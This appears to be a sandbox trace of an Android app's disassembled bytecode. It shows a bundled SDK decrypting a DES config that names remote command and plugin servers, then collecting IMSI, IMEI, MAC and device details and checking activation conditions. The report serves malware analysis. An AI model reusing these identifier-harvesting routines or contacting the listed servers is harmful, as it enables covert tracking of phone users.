                                • p0: ACA5F1626329472FD3E9EFD2C5CD761BF4CA47DC4F1CE9E016BC6B1D2B51D88BD9248474173A7D1E2A55DF1ABD01E49F80DA8FE83A064BF3874A479F5C3C49267410594B723D3B5D92C97638C8E2659B370CA5F01E33E03C683032D2964BAA2E9651819E023903E0B13570F114F4B0731A4B9B52347F468F03AB79474AB3B6759E13B970334F16E9FF880936C2697EA8DC7CB8F024BDF13ED4F8BB2F1D8056D06729E5D570C7486489957B752B5978825AD03609F2AB41CE6FEFE4BE82EBA7CC0B423A4C71D02628AA0227D03413BC17ABCE1B697BC5DFBF2E70279E6633A7A9D1D6E6441F757ABACFC1851F6FC4CDC681DDBC700EF3768504FF3100A73E606BF8105580EAE218DFE79FDF9D4C8FDA99E64CB1B7E22B68DC2DD775CEDDF25EA6358DD274DA32CE96C1100F0AF629B0D07D815ABCC53E786639B25F3719C0FE4CB1150BFA3F3989157D08CCFBB2982CC5E4448E9FEB54B6033A215C7FE94CA9EBFE9D1566F505676C5FA7904FBD9426F4EE32AB1229571AEC805AF4A40CC7E88F7E4D35A64542F97D277223115CC02E11EC0632995DC7935D85CCC7C88D969587B181BAAD9D9A2DAAF27A19BB5E87CDD0397B2076272D55AC3D27D6E4FFFCEB1F85DB64D1C206709FECEB42AA0021B72F17527496EDD18E5CDE9B6D96DD7DA4FF5D932FF81688C1ADBF32AA8217F28A511F5FE8F9FCDC6D79970816197C76168D
                                • Return:
                                  • [B@2f1ad560
                                  • {"hs":{"HostServer":"http://47.88.212.227:8688","server":"https://bcd.lkjuio.com","default":"https://bcd.lkjuio.com","logEvent":"https://cde.lkjuio.com","dataevent":"https://log.lkjuio.com","PluginServer":"https://bcd.lkjuio.com"},"mp":{"OpenCat":"false","NewSecurity":"true","MultiPackage":"true","Shield_appleid":"true","SdkVersion":"1025","NewRequestInterface":"true","DataEnc":"qgxbq","NicroTestMode":"false","BTenPlug":"yxvnw","SdkMode":"","SdkMethod":"init","UseGuardProcess":"true","XNJ":"fslmo","NativeMask":"KRI","SdkClass":"com.omgSdk.andoclib.Admob","NewAction":"false","UserEnc":"NEstJk","VEightPlug":"CBmhxf","AZeroPlug":"YSkhM","PluginsDir":"attachment","LaunchOne":"true","UseNewNativeLoader":"true","SdkPlace":"BackgroundService","AutoPop":"20000","CanWorkCheck":"false","VersionCode":"11026","ApiInfo":"paralyse","CFivePlug":"gMsOgS","sdkVersion":"11020","ForeignCount":"enclosure","TNinePlug":"tgIyn","NowData":"vicinity","IsPersistent":"true","sdks":"1","appleid":"WshOhf","FSixPlug":"yhJenXv","If.dsp":"t
                                  • 7B226873223A7B22486F7374536572766572223A22687474703A2F2F34372E38382E3231322E3232373A38363838222C22736572766572223A2268747470733A2F2F6263642E6C6B6A75696F2E636F6D222C2264656661756C74223A2268747470733A2F2F6263642E6C6B6A75696F2E636F6D222C226C6F674576656E74223A2268747470733A2F2F6364652E6C6B6A75696F2E636F6D222C22646174616576656E74223A2268747470733A2F2F6C6F672E6C6B6A75696F2E636F6D222C22506C7567696E536572766572223A2268747470733A2F2F6263642E6C6B6A75696F2E636F6D227D2C226D70223A7B224F70656E436174223A2266616C7365222C224E65775365637572697479223A2274727565222C224D756C74695061636B616765223A2274727565222C22536869656C645F6170706C656964223A2274727565222C2253646B56657273696F6E223A2231303235222C224E657752657175657374496E74657266616365223A2274727565222C2244617461456E63223A227167786271222C224E6963726F546573744D6F6465223A2266616C7365222C224254656E506C7567223A227978766E77222C2253646B4D6F6465223A22222C2253646B4D6574686F64223A22696E6974222C22557365477561726450726F63657373223A2274727565222C22584E4A223A2266736C6D6F222C224E61746976654D61
                              22move-result-object v0
                              23return-object v0
                              Cross References
                              APIs
                              • javax.crypto.spec.DESKeySpec.<init>
                              • javax.crypto.SecretKeyFactory.getInstance
                              • javax.crypto.SecretKeyFactory.generateSecret
                              • javax.crypto.Cipher.getInstance
                              • javax.crypto.Cipher.init
                              • javax.crypto.Cipher.doFinal
                              Strings
                              • DES
                              • DES/ECB/NoPadding
                              Position Instruction Meta Information
                              0.prologue
                              1new-instance v0, Ljavax/crypto/spec/DESKeySpec;
                              3invoke-direct {v0, p1}, Ljavax/crypto/spec/DESKeySpec;-><init>([B)V
                              5const-string/jumbo v1, "DES"
                              7invoke-static {v1}, Ljavax/crypto/SecretKeyFactory;->getInstance(Ljava/lang/String;)Ljavax/crypto/SecretKeyFactory;
                              8move-result-object v1
                              10invoke-virtual {v1, v0}, Ljavax/crypto/SecretKeyFactory;->generateSecret(Ljava/security/spec/KeySpec;)Ljavax/crypto/SecretKey;
                              11move-result-object v0
                              13const-string/jumbo v1, "DES/ECB/NoPadding"
                              15invoke-static {v1}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
                              • Time: 11382129839
                                • p0: DES/ECB/NoPadding
                                • Return:
                                  • javax.crypto.Cipher@2a4d88d2
                              16move-result-object v1
                              17const/4 v2, 0x2
                              19invoke-virtual {v1, v2, v0}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;)V
                              21invoke-virtual {v1, p0}, Ljavax/crypto/Cipher;->doFinal([B)[B
                              • Time: 11382129852
                                • This:
                                  • javax.crypto.Cipher@2a4d88d2
                                • p0: [B@71f6da3
                                • p0: bc)G/vGOk+Q$t:}*U:KJG\<I&tYKr=;]v8e73<h02K.Q95psKR4FyGJup3O6i~|$>/Vg)pHd{u+YxZ6AoB:Lq&('4i{.p'f3Duzopv1>`kULL+h-u^5t2)}Z>xf9_7L?9},DT:!\Lfgl_O&2)WZ~M5EB}'r#\.2]]-z^9{ v'-U='dpB!/Rt\m}]/2Q_my|vG
                                • p0: ACA5F1626329472FD3E9EFD2C5CD761BF4CA47DC4F1CE9E016BC6B1D2B51D88BD9248474173A7D1E2A55DF1ABD01E49F80DA8FE83A064BF3874A479F5C3C49267410594B723D3B5D92C97638C8E2659B370CA5F01E33E03C683032D2964BAA2E9651819E023903E0B13570F114F4B0731A4B9B52347F468F03AB79474AB3B6759E13B970334F16E9FF880936C2697EA8DC7CB8F024BDF13ED4F8BB2F1D8056D06729E5D570C7486489957B752B5978825AD03609F2AB41CE6FEFE4BE82EBA7CC0B423A4C71D02628AA0227D03413BC17ABCE1B697BC5DFBF2E70279E6633A7A9D1D6E6441F757ABACFC1851F6FC4CDC681DDBC700EF3768504FF3100A73E606BF8105580EAE218DFE79FDF9D4C8FDA99E64CB1B7E22B68DC2DD775CEDDF25EA6358DD274DA32CE96C1100F0AF629B0D07D815ABCC53E786639B25F3719C0FE4CB1150BFA3F3989157D08CCFBB2982CC5E4448E9FEB54B6033A215C7FE94CA9EBFE9D1566F505676C5FA7904FBD9426F4EE32AB1229571AEC805AF4A40CC7E88F7E4D35A64542F97D277223115CC02E11EC0632995DC7935D85CCC7C88D969587B181BAAD9D9A2DAAF27A19BB5E87CDD0397B2076272D55AC3D27D6E4FFFCEB1F85DB64D1C206709FECEB42AA0021B72F17527496EDD18E5CDE9B6D96DD7DA4FF5D932FF81688C1ADBF32AA8217F28A511F5FE8F9FCDC6D79970816197C76168D
                                • Return:
                                  • [B@adb88a0
                                  • {"hs":{"HostServer":"http://47.88.212.227:8688","server":"https://bcd.lkjuio.com","default":"https://bcd.lkjuio.com","logEvent":"https://cde.lkjuio.com","dataevent":"https://log.lkjuio.com","PluginServer":"https://bcd.lkjuio.com"},"mp":{"OpenCat":"false","NewSecurity":"true","MultiPackage":"true","Shield_appleid":"true","SdkVersion":"1025","NewRequestInterface":"true","DataEnc":"qgxbq","NicroTestMode":"false","BTenPlug":"yxvnw","SdkMode":"","SdkMethod":"init","UseGuardProcess":"true","XNJ":"fslmo","NativeMask":"KRI","SdkClass":"com.omgSdk.andoclib.Admob","NewAction":"false","UserEnc":"NEstJk","VEightPlug":"CBmhxf","AZeroPlug":"YSkhM","PluginsDir":"attachment","LaunchOne":"true","UseNewNativeLoader":"true","SdkPlace":"BackgroundService","AutoPop":"20000","CanWorkCheck":"false","VersionCode":"11026","ApiInfo":"paralyse","CFivePlug":"gMsOgS","sdkVersion":"11020","ForeignCount":"enclosure","TNinePlug":"tgIyn","NowData":"vicinity","IsPersistent":"true","sdks":"1","appleid":"WshOhf","FSixPlug":"yhJenXv","If.dsp":"t
                                  • 7B226873223A7B22486F7374536572766572223A22687474703A2F2F34372E38382E3231322E3232373A38363838222C22736572766572223A2268747470733A2F2F6263642E6C6B6A75696F2E636F6D222C2264656661756C74223A2268747470733A2F2F6263642E6C6B6A75696F2E636F6D222C226C6F674576656E74223A2268747470733A2F2F6364652E6C6B6A75696F2E636F6D222C22646174616576656E74223A2268747470733A2F2F6C6F672E6C6B6A75696F2E636F6D222C22506C7567696E536572766572223A2268747470733A2F2F6263642E6C6B6A75696F2E636F6D227D2C226D70223A7B224F70656E436174223A2266616C7365222C224E65775365637572697479223A2274727565222C224D756C74695061636B616765223A2274727565222C22536869656C645F6170706C656964223A2274727565222C2253646B56657273696F6E223A2231303235222C224E657752657175657374496E74657266616365223A2274727565222C2244617461456E63223A227167786271222C224E6963726F546573744D6F6465223A2266616C7365222C224254656E506C7567223A227978766E77222C2253646B4D6F6465223A22222C2253646B4D6574686F64223A22696E6974222C22557365477561726450726F63657373223A2274727565222C22584E4A223A2266736C6D6F222C224E61746976654D61
                              22move-result-object v0
                              23return-object v0
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.net.ConnectivityManager.getActiveNetworkInfo
                              • android.net.NetworkInfo.isAvailable
                              • android.net.NetworkInfo.isConnected
                              Strings
                              • connectivity
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2if-eqz p0, :cond_22
                              4const-string/jumbo v0, "connectivity"
                              6invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              • Time: 11382130203
                                • This:
                                  • com.wag.CongratulationLC@a89c243
                                • p0: connectivity
                                • Return:
                                  • android.net.ConnectivityManager@2f57940b
                              7move-result-object v0
                              8check-cast v0, Landroid/net/ConnectivityManager;
                              10invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                              • Time: 11382130209
                                • This:
                                  • android.net.ConnectivityManager@2f57940b
                                • Return:
                                  • [type: WIFI[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: "TP-ANDROID", roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
                              11move-result-object v0
                              12if-eqz v0, :cond_22
                              14invoke-virtual {v0}, Landroid/net/NetworkInfo;->isAvailable()Z
                              • Time: 11382130213
                                • This:
                                  • [type: WIFI[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: "TP-ANDROID", roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
                                • Return:
                                  • true
                              15move-result v2
                              16if-eqz v2, :cond_20
                              18invoke-virtual {v0}, Landroid/net/NetworkInfo;->isConnected()Z
                              • Time: 11382130219
                                • This:
                                  • [type: WIFI[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: "TP-ANDROID", roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
                                • Return:
                                  • true
                              19move-result v0
                              20if-eqz v0, :cond_20
                              21const/4 v0, 0x1
                              22goto_1f: return v0
                              23cond_20: move v0, v1
                              24goto/16 :goto_1f
                              25cond_22: move v0, v1
                              26goto/16 :goto_1f
                              Cross References
                              APIs
                              • android.hardware.Camera.getNumberOfCameras
                              • android.content.Context.getSystemService
                              • android.hardware.camera2.CameraManager.getCameraIdList
                              Strings
                              • camera
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x1
                              2const/4 v1, 0x0
                              3sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              4const/16 v3, 0x9
                              5if-ge v0, v3, :cond_9
                              6goto_8: return v1
                              7cond_9: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              8const/16 v3, 0x15
                              9if-ge v0, v3, :cond_17
                              11invoke-static {}, Landroid/hardware/Camera;->getNumberOfCameras()I
                              12move-result v0
                              13goto_13: if-gtz v0, :cond_8
                              14move v1, v2
                              15goto/16 :goto_8
                              16cond_17:
                              17iget-object v0, p0, Lcom/omgSdk/outport/GetParamsUtil;->a:Landroid/content/Context;
                              19const-string/jumbo v3, "camera"
                              21invoke-virtual {v0, v3}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              • Time: 11382136083
                                • This:
                                  • com.wag.CongratulationLC@a89c243
                                • p0: camera
                                • Return:
                                  • android.hardware.camera2.CameraManager@ed4b88e
                              22move-result-object v0
                              23check-cast v0, Landroid/hardware/camera2/CameraManager;
                              24if-eqz v0, :cond_32
                              26invoke-virtual {v0}, Landroid/hardware/camera2/CameraManager;->getCameraIdList()[Ljava/lang/String;
                              27move-result-object v0
                              28if-eqz v0, :cond_32
                              29array-length v0, v0
                              30try_end_2b: goto/16 :goto_13
                              31catch_2c: move-exception v0
                              32move v0, v2
                              33goto/16 :goto_13
                              34catch_2f: move-exception v0
                              35move v0, v2
                              36goto/16 :goto_13
                              37cond_32: move v0, v1
                              38goto/16 :goto_13
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.telephony.TelephonyManager.getSubscriberId
                              Strings
                              • phone
                              • 504864147719322
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2const-string/jumbo v0, "phone"
                              4invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              • Time: 11382130067
                                • This:
                                  • com.wag.CongratulationLC@a89c243
                                • p0: phone
                                • Return:
                                  • android.telephony.TelephonyManager@1ab850f7
                              5move-result-object v0
                              6check-cast v0, Landroid/telephony/TelephonyManager;
                              8invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;
                              • Time: 11382130078
                                • This:
                                  • android.telephony.TelephonyManager@1ab850f7
                                • Return:
                                  • 504864147719322
                              9try_end_c: move-result-object v0
                              10goto_d: return-object v0
                              11catch_e: move-exception v0
                              13const-string/jumbo v0, ""
                              14goto/16 :goto_d
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.telephony.TelephonyManager.getDeviceId
                              Strings
                              • phone
                              • 514559155759339
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2const-string/jumbo v0, "phone"
                              4invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              • Time: 11382130085
                                • This:
                                  • com.wag.CongratulationLC@a89c243
                                • p0: phone
                                • Return:
                                  • android.telephony.TelephonyManager@1ab850f7
                              5move-result-object v0
                              6check-cast v0, Landroid/telephony/TelephonyManager;
                              8invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
                              • Time: 11382130091
                                • This:
                                  • android.telephony.TelephonyManager@1ab850f7
                                • Return:
                                  • 514559155759339
                              9try_end_c: move-result-object v0
                              10goto_d: return-object v0
                              11catch_e: move-exception v0
                              13const-string/jumbo v0, ""
                              14goto/16 :goto_d
                              Cross References
                              APIs
                              • android.os.Build.MANUFACTURER:Ljava/lang/String
                              • android.os.Build.MODEL:Ljava/lang/String
                              • android.os.Build$VERSION.RELEASE:Ljava/lang/String
                              • android.os.Build.BRAND:Ljava/lang/String
                              Strings
                              • samsung
                              • Galaxy Nexus
                              • 5.1.1
                              • google
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x0
                              2new-instance v0, Lcom/omg/base/network/objects/PhoneInfo;
                              4invoke-direct {v0}, Lcom/omg/base/network/objects/PhoneInfo;-><init>()V
                              5iput-object v0, p0, Lcom/omg/base/terminal/OmgPhoneInfo;->b:Lcom/omg/base/network/objects/PhoneInfo;
                              6try_start_8:
                              7iget-object v0, p0, Lcom/omg/base/terminal/OmgPhoneInfo;->b:Lcom/omg/base/network/objects/PhoneInfo;
                              9invoke-static {}, Lcom/omg/base/phone/factoryimpl/PhoneController;->getInstance()Lcom/omg/base/phone/factoryimpl/PhoneController;
                              10move-result-object v1
                              12invoke-virtual {v1, p1}, Lcom/omg/base/phone/factoryimpl/PhoneController;->getImsi(Landroid/content/Context;)Ljava/lang/String;
                              13move-result-object v1
                              15invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/PhoneInfo;->setImsi(Ljava/lang/String;)V
                              16try_end_15:
                              17iget-object v0, p0, Lcom/omg/base/terminal/OmgPhoneInfo;->b:Lcom/omg/base/network/objects/PhoneInfo;
                              19invoke-static {}, Lcom/omg/base/phone/factoryimpl/PhoneController;->getInstance()Lcom/omg/base/phone/factoryimpl/PhoneController;
                              20move-result-object v1
                              22invoke-virtual {v1, p1}, Lcom/omg/base/phone/factoryimpl/PhoneController;->getImei(Landroid/content/Context;)Ljava/lang/String;
                              23move-result-object v1
                              25invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/PhoneInfo;->setImei(Ljava/lang/String;)V
                              26goto_22:
                              27iget-object v0, p0, Lcom/omg/base/terminal/OmgPhoneInfo;->b:Lcom/omg/base/network/objects/PhoneInfo;
                              29invoke-virtual {p0}, Lcom/omg/base/terminal/OmgPhoneInfo;->getMacAddress()Ljava/lang/String;
                              30move-result-object v1
                              32invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/PhoneInfo;->setMac(Ljava/lang/String;)V
                              33goto_2b:
                              34iget-object v0, p0, Lcom/omg/base/terminal/OmgPhoneInfo;->b:Lcom/omg/base/network/objects/PhoneInfo;
                              36const-string/jumbo v1, ""
                              38invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/PhoneInfo;->setPhoneNum(Ljava/lang/String;)V
                              40iget-object v0, p0, Lcom/omg/base/terminal/OmgPhoneInfo;->b:Lcom/omg/base/network/objects/PhoneInfo;
                              42const-string/jumbo v1, ""
                              44invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/PhoneInfo;->setMccmnc(Ljava/lang/String;)V
                              46iget-object v0, p0, Lcom/omg/base/terminal/OmgPhoneInfo;->b:Lcom/omg/base/network/objects/PhoneInfo;
                              48invoke-virtual {v0, v2}, Lcom/omg/base/network/objects/PhoneInfo;->setLac(I)V
                              50iget-object v0, p0, Lcom/omg/base/terminal/OmgPhoneInfo;->b:Lcom/omg/base/network/objects/PhoneInfo;
                              52invoke-virtual {v0, v2}, Lcom/omg/base/network/objects/PhoneInfo;->setCellId(I)V
                              54iget-object v0, p0, Lcom/omg/base/terminal/OmgPhoneInfo;->b:Lcom/omg/base/network/objects/PhoneInfo;
                              56const-string/jumbo v1, ""
                              58invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/PhoneInfo;->setLng(Ljava/lang/String;)V
                              60iget-object v0, p0, Lcom/omg/base/terminal/OmgPhoneInfo;->b:Lcom/omg/base/network/objects/PhoneInfo;
                              62const-string/jumbo v1, ""
                              64invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/PhoneInfo;->setLat(Ljava/lang/String;)V
                              66iget-object v0, p0, Lcom/omg/base/terminal/OmgPhoneInfo;->b:Lcom/omg/base/network/objects/PhoneInfo;
                              68const-string/jumbo v1, ""
                              70invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/PhoneInfo;->setUa(Ljava/lang/String;)V
                              72iget-object v0, p0, Lcom/omg/base/terminal/OmgPhoneInfo;->b:Lcom/omg/base/network/objects/PhoneInfo;
                              74sget-object v1, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
                              • Time: 11382130159
                                • Return:
                                  • samsung
                              76invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/PhoneInfo;->setManufacturer(Ljava/lang/String;)V
                              78iget-object v0, p0, Lcom/omg/base/terminal/OmgPhoneInfo;->b:Lcom/omg/base/network/objects/PhoneInfo;
                              80sget-object v1, Landroid/os/Build;->MODEL:Ljava/lang/String;
                              • Time: 11382130164
                                • Return:
                                  • Galaxy Nexus
                              82invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/PhoneInfo;->setModel(Ljava/lang/String;)V
                              84iget-object v0, p0, Lcom/omg/base/terminal/OmgPhoneInfo;->b:Lcom/omg/base/network/objects/PhoneInfo;
                              86sget-object v1, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
                              • Time: 11382130168
                                • Return:
                                  • 5.1.1
                              88invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/PhoneInfo;->setOsVer(Ljava/lang/String;)V
                              90iget-object v0, p0, Lcom/omg/base/terminal/OmgPhoneInfo;->b:Lcom/omg/base/network/objects/PhoneInfo;
                              91sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                              93invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/PhoneInfo;->setSdkIntVersion(I)V
                              95iget-object v0, p0, Lcom/omg/base/terminal/OmgPhoneInfo;->b:Lcom/omg/base/network/objects/PhoneInfo;
                              97sget-object v1, Landroid/os/Build;->BRAND:Ljava/lang/String;
                              • Time: 11382130172
                                • Return:
                                  • google
                              99invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/PhoneInfo;->setBrand(Ljava/lang/String;)V
                              101iget-object v0, p0, Lcom/omg/base/terminal/OmgPhoneInfo;->b:Lcom/omg/base/network/objects/PhoneInfo;
                              103const-string/jumbo v1, ""
                              105invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/PhoneInfo;->setIccid(Ljava/lang/String;)V
                              106return-void
                              107catch_89: move-exception v0
                              109iget-object v0, p0, Lcom/omg/base/terminal/OmgPhoneInfo;->b:Lcom/omg/base/network/objects/PhoneInfo;
                              111const-string/jumbo v1, ""
                              113invoke-virtual {v0, v1}, Lcom/omg/base/network/objects/PhoneInfo;->setMac(Ljava/lang/String;)V
                              114goto/16 :goto_2b
                              115catch_93: move-exception v0
                              116goto/16 :goto_22
                              117catch_95: move-exception v0
                              118goto/16 :goto_15
                              Cross References
                              APIs
                              • java.lang.reflect.Field.get
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lsdk/nicro/lu/q$a;->a:Ljava/lang/reflect/Field;
                              4invoke-virtual {v0, p1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              • Time: 11382130628
                                • This:
                                  • private java.lang.ClassLoader java.lang.ClassLoader.parent
                                  • getName:parent
                                • p0: dalvik.system.PathClassLoader[DexPathList[[zip file "/data/app/air.nu.strafwerk.takecontrol-1/base.apk"],nativeLibraryDirectories=[/vendor/lib, /system/lib]]]
                                • Return:
                                  • java.lang.BootClassLoader@311654d4
                              5move-result-object v0
                              6return-object v0
                              Cross References
                              APIs
                              • android.text.TextUtils.isEmpty
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.optInt
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.util.HashMap.<init>
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • org.json.JSONObject.getJSONArray
                              • java.util.ArrayList.<init>
                              • org.json.JSONArray.length
                              • org.json.JSONArray.getJSONArray
                              • org.json.JSONArray.length
                              • org.json.JSONArray.optString
                              • java.lang.Integer.parseInt
                              • java.util.ArrayList.add
                              • java.lang.Integer.valueOf
                              • java.util.Map.put
                              • org.json.JSONObject.getJSONArray
                              • java.util.ArrayList.<init>
                              • org.json.JSONArray.length
                              • org.json.JSONArray.getJSONArray
                              • org.json.JSONArray.length
                              • org.json.JSONArray.getJSONObject
                              • org.json.JSONObject.optString
                              • java.lang.Integer.parseInt
                              • org.json.JSONObject.optString
                              • java.lang.Integer.parseInt
                              • java.lang.Integer.valueOf
                              • java.util.Set.add
                              • java.util.ArrayList.add
                              Strings
                              • {"active":1,"condition_2":[["5","6","7","8","9","10"],["12"],["13"],["14"]],"condition_1":[["1"],["2"],["3"],["4"],["11"],["5","6","7","8","9","10"]],"release":[[{"con":"2","type":"1"}],[{"con":"2","type":"2"}],[{"con":"1","type":"3"}],[{"con":"2","type":"4"}],[{"con":"80","type":"5"}],[{"con":"20","type":"6"}]]}
                              • active
                              • run check isActive =
                              • condition_
                              • 0
                              • release
                              • type
                              • con
                              • \u89e3\u6790\u914d\u7f6e\u6210\u529f
                              • getConditionFromJson
                              • \u914d\u7f6e\u4fe1\u606f\u5f02\u5e38\uff0c\u4f7f\u7528\u9ed8\u8ba4\u914d\u7f6e
                              • checkCondition
                              • {\"active\":1,\"condition_2\":[[\"5\",\"6\",\"7\",\"8\",\"9\",\"10\"],[\"12\"],[\"13\"],[\"14\"]],\"condition_1\":[[\"1\"],[\"2\"],[\"3\"],[\"4\"],[\"11\"],[\"5\",\"6\",\"7\",\"8\",\"9\",\"10\"]],\"release\":[[{\"con\":\"2\",\"type\":\"1\"}],[{\"con\":\"2\",\"type\":\"2\"}],[{\"con\":\"1\",\"type\":\"3\"}],[{\"con\":\"2\",\"type\":\"4\"}],[{\"con\":\"80\",\"type\":\"5\"}],[{\"con\":\"20\",\"type\":\"6\"}]]}
                              • \u6ca1\u6709\u4ee3\u7801\u672c\u5730\u914d\u7f6e
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x1
                              2const/4 v1, 0x0
                              4invoke-static {p1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              5move-result v2
                              6if-nez v2, :cond_121
                              7try_start_8: new-instance v4, Lorg/json/JSONObject;
                              9invoke-direct {v4, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                              • Time: 11382130679
                                • p0: {"active":1,"condition_2":[["5","6","7","8","9","10"],["12"],["13"],["14"]],"condition_1":[["1"],["2"],["3"],["4"],["11"],["5","6","7","8","9","10"]],"release":[[{"con":"2","type":"1"}],[{"con":"2","type":"2"}],[{"con":"1","type":"3"}],[{"con":"2","type":"4"}],[{"con":"80","type":"5"}],[{"con":"20","type":"6"}]]}
                                • Return:
                                  • {"active":1,"condition_2":[["5","6","7","8","9","10"],["12"],["13"],["14"]],"condition_1":[["1"],["2"],["3"],["4"],["11"],["5","6","7","8","9","10"]],"release":[[{"con":"2","type":"1"}],[{"con":"2","type":"2"}],[{"con":"1","type":"3"}],[{"con":"2","type":"4"}],[{"con":"80","type":"5"}],[{"con":"20","type":"6"}]]}
                              11const-string/jumbo v2, "active"
                              12const/4 v3, 0x1
                              14invoke-virtual {v4, v2, v3}, Lorg/json/JSONObject;->optInt(Ljava/lang/String;I)I
                              15move-result v2
                              16if-ne v2, v0, :cond_83
                              17move v2, v0
                              18goto_18: iput-boolean v2, p0, Lcom/omgSdk/outport/RunChecker;->n:Z
                              19new-instance v2, Ljava/lang/StringBuilder;
                              21invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              23const-string/jumbo v3, "run check isActive = "
                              25invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              26move-result-object v2
                              27iget-boolean v3, p0, Lcom/omgSdk/outport/RunChecker;->n:Z
                              29invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                              30move-result-object v2
                              32invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              33move-result-object v2
                              35invoke-direct {p0, v2}, Lcom/omgSdk/outport/RunChecker;->b(Ljava/lang/String;)V
                              36new-instance v5, Ljava/util/HashMap;
                              38invoke-direct {v5}, Ljava/util/HashMap;-><init>()V
                              39move v3, v0
                              40goto_39: const/4 v0, 0x2
                              41if-gt v3, v0, :cond_97
                              42new-instance v0, Ljava/lang/StringBuilder;
                              44invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              46const-string/jumbo v2, "condition_"
                              48invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              49move-result-object v0
                              51invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              52move-result-object v0
                              54invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              55move-result-object v0
                              57invoke-virtual {v4, v0}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                              58move-result-object v6
                              59new-instance v7, Ljava/util/ArrayList;
                              61invoke-direct {v7}, Ljava/util/ArrayList;-><init>()V
                              62move v2, v1
                              63goto_5a:
                              64invoke-virtual {v6}, Lorg/json/JSONArray;->length()I
                              65move-result v0
                              66if-ge v2, v0, :cond_8c
                              68invoke-virtual {v6, v2}, Lorg/json/JSONArray;->getJSONArray(I)Lorg/json/JSONArray;
                              69move-result-object v8
                              70new-instance v9, Lcom/omgSdk/outport/RunChecker$ConditionGroup;
                              72invoke-direct {v9, p0}, Lcom/omgSdk/outport/RunChecker$ConditionGroup;-><init>(Lcom/omgSdk/outport/RunChecker;)V
                              73move v0, v1
                              74goto_6a:
                              75invoke-virtual {v8}, Lorg/json/JSONArray;->length()I
                              76move-result v10
                              77if-ge v0, v10, :cond_85
                              79const-string/jumbo v10, "0"
                              81invoke-virtual {v8, v0, v10}, Lorg/json/JSONArray;->optString(ILjava/lang/String;)Ljava/lang/String;
                              82move-result-object v10
                              84invoke-static {v10}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                              85move-result v10
                              86if-eqz v10, :cond_80
                              88invoke-virtual {v9, v10}, Lcom/omgSdk/outport/RunChecker$ConditionGroup;->a(I)V
                              89cond_80: add-int/lit8 v0, v0, 0x1
                              90goto/16 :goto_6a
                              91cond_83: move v2, v1
                              92goto/16 :goto_18
                              93cond_85:
